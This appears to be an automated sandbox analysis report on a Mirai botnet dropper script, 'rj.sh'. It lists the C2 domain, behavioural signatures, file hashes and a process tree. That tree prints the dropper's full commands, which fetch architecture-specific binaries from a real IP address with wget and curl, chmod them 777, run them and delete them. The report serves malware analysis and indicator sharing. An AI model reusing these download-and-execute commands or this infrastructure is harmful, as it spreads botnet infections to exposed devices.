Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    11/11/2024, 22:42

General

  • Target
    rj.sh
  • Size 1014B
  • Sample241111-2mmvpaycrn
  • SHA256 f99c9f347b31e1e943d759580492b46710252ffc3cd58fac113cb2193b16cfea
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • BOTNET

C2
  • skt.bsktem.online

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Modifies Watchdog functionality 1 TTPs 6 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 3 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 4 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 12 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/rj.sh
    /tmp/rj.sh
    1⤵
      PID:656
      • /usr/bin/wget
        wget http://198.23.197.241:4782/mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:658
      • /usr/bin/curl
        curl -O http://198.23.197.241:4782/mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:680
      • /bin/chmod
        chmod 777 mips rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
        2⤵
        • File and Directory Permissions Modification
        PID:688
      • /tmp/mips
        ./mips rj
        2⤵
        • Executes dropped EXE
        • System Network Configuration Discovery
        PID:689
      • /bin/rm
        rm -f mips
        2⤵
        • System Network Configuration Discovery
        PID:691
      • /usr/bin/wget
        wget http://198.23.197.241:4782/mpsl
        2⤵
        • Writes file to tmp directory
        PID:692
      • /usr/bin/curl
        curl -O http://198.23.197.241:4782/mpsl
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • Writes file to tmp directory
        PID:693
      • /bin/chmod
        chmod 777 mpsl rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
        2⤵
        • File and Directory Permissions Modification
        PID:700
      • /tmp/mpsl
        ./mpsl rj
        2⤵
        • Executes dropped EXE
        PID:701
      • /bin/rm
        rm -f mpsl
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://198.23.197.241:4782/arm4
          2⤵
          • Writes file to tmp directory
          PID:706
        • /usr/bin/curl
          curl -O http://198.23.197.241:4782/arm4
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:714
        • /bin/chmod
          chmod 777 arm4 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
          2⤵
          • File and Directory Permissions Modification
          PID:721
        • /tmp/arm4
          ./arm4 rj
          2⤵
          • Executes dropped EXE
          • Modifies Watchdog functionality
          • Changes its process name
          PID:723
        • /bin/rm
          rm -f arm4
          2⤵
            PID:725
          • /usr/bin/wget
            wget http://198.23.197.241:4782/arm5
            2⤵
            • Writes file to tmp directory
            PID:726
          • /usr/bin/curl
            curl -O http://198.23.197.241:4782/arm5
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:733
          • /bin/chmod
            chmod 777 arm5 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
            2⤵
            • File and Directory Permissions Modification
            PID:746
          • /tmp/arm5
            ./arm5 rj
            2⤵
            • Executes dropped EXE
            • Modifies Watchdog functionality
            • Enumerates active TCP sockets
            • Changes its process name
            • Reads system network configuration
            PID:747
          • /bin/rm
            rm -f arm5
            2⤵
              PID:784
            • /usr/bin/wget
              wget http://198.23.197.241:4782/arm6
              2⤵
              • Writes file to tmp directory
              PID:785
            • /usr/bin/curl
              curl -O http://198.23.197.241:4782/arm6
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:786
            • /bin/chmod
              chmod 777 arm6 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
              2⤵
              • File and Directory Permissions Modification
              PID:787
            • /tmp/arm6
              ./arm6 rj
              2⤵
              • Executes dropped EXE
              PID:788
            • /bin/rm
              rm -f arm6
              2⤵
                PID:789
              • /usr/bin/wget
                wget http://198.23.197.241:4782/arm7
                2⤵
                • Writes file to tmp directory
                PID:790
              • /usr/bin/curl
                curl -O http://198.23.197.241:4782/arm7
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:791
              • /bin/chmod
                chmod 777 arm7 rj.sh systemd-private-981564664d95468ab216056f773a14c8-systemd-timedated.service-6KQrrf
                2⤵
                • File and Directory Permissions Modification
                PID:792
              • /tmp/arm7
                ./arm7 rj
                2⤵
                • Executes dropped EXE
                • Modifies Watchdog functionality
                • Enumerates active TCP sockets
                • Changes its process name
                • Reads system network configuration
                PID:793
              • /bin/rm
                rm -f arm7
                2⤵
                  PID:797

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    arm4

                    • Path /tmp/arm4
                    • Size 38KB
                    • SHA256 4ee2e64949d2946cc22a088d6368ffb0c0b4b82e2d99debdc0b5ecd15fecd19b
                    • MD5 SHA1 SHA512 SSDEEP

                    arm5

                    • Path /tmp/arm5
                    • Size 38KB
                    • SHA256 010e1667757d64d00e8b64587f4222bedf6452bfb2ea2a5b873a014538128607
                    • MD5 SHA1 SHA512 SSDEEP

                    arm6

                    • Path /tmp/arm6
                    • Size 49KB
                    • SHA256 d7972f8fe7b7c7c5949faa3fd1862fd6314925a3418ed8c176350aea45e9a72a
                    • MD5 SHA1 SHA512 SSDEEP

                    arm7

                    • Path /tmp/arm7
                    • Size 107KB
                    • SHA256 237ecb6c58b28a420bcd13266fa36abee904172f54a33418ddf097118379243b
                    • MD5 SHA1 SHA512 SSDEEP

                    mips

                    • Path /tmp/mips
                    • Size 49KB
                    • SHA256 ee3e0416f1c504777be8e4f5d9c65ca06a845c86f1896f691fe586b46ea262cd
                    • MD5 SHA1 SHA512 SSDEEP

                    mpsl

                    • Path /tmp/mpsl
                    • Size 50KB
                    • SHA256 d35c611202ebe3e23d7610c58b1e17dd4adff1b5412d805afcdfe20b95a0c475
                    • MD5 SHA1 SHA512 SSDEEP